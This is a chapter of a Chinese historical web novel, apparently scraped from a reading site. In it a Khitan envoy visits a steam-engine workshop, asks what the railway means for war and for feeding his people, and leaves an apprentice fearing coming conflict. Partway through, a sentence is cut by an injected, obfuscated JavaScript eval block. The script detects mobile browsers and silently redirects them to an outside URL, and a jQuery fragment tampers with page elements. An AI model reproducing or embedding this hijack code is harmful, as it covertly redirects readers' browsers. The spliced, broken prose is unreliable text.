阿钝说要带狗子和石头去看火车之后，日子突然变得慢了。
不是真的慢——太阳照样升起来落下去，那台机器照样转，那些孩子照样围着看。但狗子每天要问三遍：“阿钝哥，夏天还有多久？”
阿钝也不知道。
他就掰着手指头算。算完一遍，狗子跟着算一遍。算完两遍，石头也跟着算一遍。算到第五遍的时候，阿钝说：“你别问了，再问我也不知道了。”
狗子就不问了。
但他还是每天看天。看太阳，看云，看那棵槐树的叶子有没有更绿一点。
石头也跟着看。
有一天，石头忽然说：“阿钝哥，夏天来的时候，这棵树会开花吗？”
阿钝愣了一下。
他也不知道槐树什么时候开花。
他跑去问李默。
李默正在屋里画图纸，头都没抬：“六月。”
阿钝跑回去告诉石头：“六月。”
石头点了点头。
他伸出手，数了数手指头。
“还有三个月。”他说。
---
那封信是四月初来的。
不是郭荣的笔迹。
阿钝接过信的时候，心里就咯噔了一下。他把信拿给李默，站在旁边等着，大气都不敢出。
李默看完信，没说话。
阿钝问：“师父，谁的信？”
李默抬起头，看着他。
“耶律信。”
阿钝愣住了。
那个脸上有疤的契丹人。那个送过玉的人。那个说“下次再见可能就是打仗了”的人。
“他……他说什么？”
李默把信递给他。
阿钝接过来，一个字一个字地看。
信不长，他连猜带认，看懂了大概。
**李师傅：**
**好久不见。听说火车通了，想去看看。不知道方不方便。**
**耶律信**
阿钝看完，抬起头。
“师父，他要来？”
李默点了点头。
阿钝站在那里，不知道该说什么。
他想起耶律信上次来的时候。站在火车站，看着火车开走，问“这东西能让老百姓吃饱饭吗”。
他想起耶律信送的那袋粮食。那时候将作监正困难，那袋粮食救了不少人。
他也想起耶律信最后说的那句话。
“下次再见，可能就是打仗了。”
现在他来了。
不是打仗。是来看火车。
阿钝问：“师父，他来干什么？”
李默看着窗外。
“来看看。”他说，“看看咱们走到哪一步了。”
---
耶律信来的那天，是四月十二。
阿钝站在门口，看着远处那个越来越近的黑点。狗子站在他旁边，抱着那个空包袱。石头站在狗子旁边，攥着那块幽州的石头。
黑点越来越大，变成一匹马，马上一个人。
那人勒住马，跳下来。
阿钝看清了他的脸。
那道疤还在，从左眼角拉到下巴，把脸分成两半。但他在笑。
“阿钝？”他说，“长这么大了。”
阿钝不知道该怎么称呼他。
耶律信也没等他开口，就往里走。
李默站在院子里，等着他。
两个人面对面站着。
耶律信先开口：“李师傅，好久不见。”
李默点了点头。
耶律信看了看四周。那台蒸汽机，那些孩子，那棵槐树。他看得很慢，像是在数什么。
“多了不少人。”他说。
李默没说话。
耶律信转过头，看着他。
“不请我进去坐坐？”
---
两个人坐在院子里，那棵槐树下面。
阿钝端了茶过来，站在旁边没走。李默看了他一眼，没说话。
耶律信端起茶，喝了一口。
“好茶。”他说。
李默等着。
耶律信放下茶杯，看着那台蒸汽机。
“这东西，比我想的跑得远。”他说，“汴梁到幽州，三天。我们那边传开了。”
李默没说话。
耶律信转过头，看着他。
“李师傅，你知道我来干什么吗？”
李默知道。
“来看。”他说。
耶律信笑了。
“对。来看。”他说，“看这东西到底能干什么，看你们到底能走多远，看——”
他顿了顿。
“看以后打仗，该怎么打。”
阿钝的手攥紧了。
李默还是那副表情。
耶律信看着他，眼睛里有一种很复杂的东西。
“李师傅，你教教我。”他说，“这东西，除了运粮运兵，还能干什么？”
李默想了想。
“能修路。”他说，“能挖矿。能抽水。能干人干的活。”
耶律信点了点头。
“那人呢？”他问，“人干什么？”
李默看着他。
耶律信也看着他。
“机器把活干了，人干什么？”
这个问题，李默想过很多次。
他想起那些失业的手工业者，想起那些被火车取代的脚夫，想起那些站在城门口要饭的人。
“人干机器干不了的。”他说。
耶律信愣了一下。
“什么机器干不了？”
李默指了指阿钝，指了指远处的狗子和石头，指了指那些孩子。
“教人。”他说，“养人。记着那些死了的人。”
耶律信沉默了很久。
然后他站起来，走到那台蒸汽机旁边，伸出手，摸了摸那个飞轮。
烫的。
他转过头，看着李默。
“李师傅，我问你一句实话。”
李默等着。
耶律信说：“这东西，能让我们契丹人也吃饱饭吗？”
阿钝愣住了。
他看着耶律信，看着那张有疤的脸，看着那双鹰一样的眼睛。
那双眼睛里，有他没见过的东西。
不是威胁，不是算计。
是别的什么。
李默也看着他。
“能。”李默说。
耶律信的眼睛亮了一下。
“但得慢慢来。”李默说，“得先不打仗，得先让人活着，得先让那些死了的人不白死。”
耶律信沉默了很久。
然后他笑了。
那笑容里，有一种阿钝看不懂的东西。
“李师傅，”他说，“你这个人，有意思。”
---
耶律信走的时候，天快黑了。
他站在门口，看着那些孩子。孩子们躲在远处，偷偷看他。
他忽然问：“那个叫阿钝的，是你徒弟？”
李默点了点头。
耶律信看着他。
“他眼睛里有东西。”他说，“和我第一次见你的时候一样。”
李默没说话。
耶律信翻身上马，勒住缰绳。
“李师傅，”他说，“下次再见，可能真的打仗了。”
他看着李默。
“到时候，你别让我死得太难看。”
他把那块玉的事，又提了一遍。
然后他走了。
马跑起来，越来越远，越来越小，最后变成一个黑点，消失在夜色里。
阿钝站在门口，看着那个方向。
狗子走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401634|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来，站在他旁边。
“阿钝哥，他是敌人吗？”
阿钝想了想。
“是。”他说。
“那他为什么笑？”
阿钝不知道。
但他想起李默说过的那句话。
“敌人也是人。”
---
那天夜里，阿钝睡不着。
他躺在床上，想着耶律信说的话。
“这东西，能让我们契丹人也吃饱饭吗？”
他翻了个身。
“下次再见，可能真的打仗了。”
他又翻了个身。
狗子被吵醒了，迷迷糊糊地问：“阿钝哥，你怎么了？”
阿钝说：“没事。”
狗子又睡着了。
阿钝看着天花板，看了很久。
他想起郭荣。想起郭荣站在火车站的样子，想起他说“等打完了，回来吃饺子”。
他想起耶律信。想起他脸上的疤，想起他最后说的那句话。
两个人，都是人。
都会笑，都会问问题，都会说“下次再见”。
但下次再见，可能就是打仗了。
他闭上眼睛。
梦里，他站在战场上。两边都是人，手里拿着刀。他看见郭荣，也看见耶律信。他想喊，喊不出来。
然后他醒了。
天已经亮了。
阳光从窗户照进来，照在他脸上。
他坐起来，揉了揉眼睛。
狗子还在睡。石头也还在睡。
他轻轻下床，走到院子里。
那棵树还在。叶子更绿了，在阳光下闪着光。
他走过去，站在树前面。
站了很久。
李默走过来，站在他旁边。
“睡不着？”
阿钝点了点头。
李默没说话。
两个人站在那儿，看着那棵树。
过了一会儿，阿钝忽然问：
“师父，会打仗吗？”
李默沉默了很久。
然后他说：
“会。”
阿钝转过头，看着他。
李默也看着他。
“但咱们在这儿。”李默说，“他们打过来，咱们守着。打不过来，咱们活着。”
阿钝没说话。
他看着那棵树，看着那些叶子，看着阳光从叶子缝里漏下来。
“师父。”
“嗯。”
“郭公子会回来吗？”
李默想了想。
“会。”他说，“他说夏天回来。”
阿钝点了点头。
他转过身，往回走。
走了几步，又停下来。
“师父。”
“嗯。”
“耶律信也会再来吗？”
李默没回答。
阿钝也没再问。
他走进屋里，叫醒狗子和石头。
“起来。”他说，“今天教你们看机器。”
---
远处传来火车的汽笛声。
呜——
很长，很远。
阿钝抬起头，往北边看了一眼。
什么也没有。只有灰蒙蒙的天，和远处那几棵光秃秃的树。
但他知道，那边有两个人。
一个说夏天回来。
一个说下次再见，可能真的打仗了。
他站在那儿，看了很久。
然后他转过身，走回院子里。
那些孩子已经起来了，围在那台机器旁边。狗子在最前面，石头在旁边。他们等着他。
他走过去，在最前面蹲下。
“今天讲什么？”狗子问。
阿钝想了想。
“讲怎么活。”他说。
---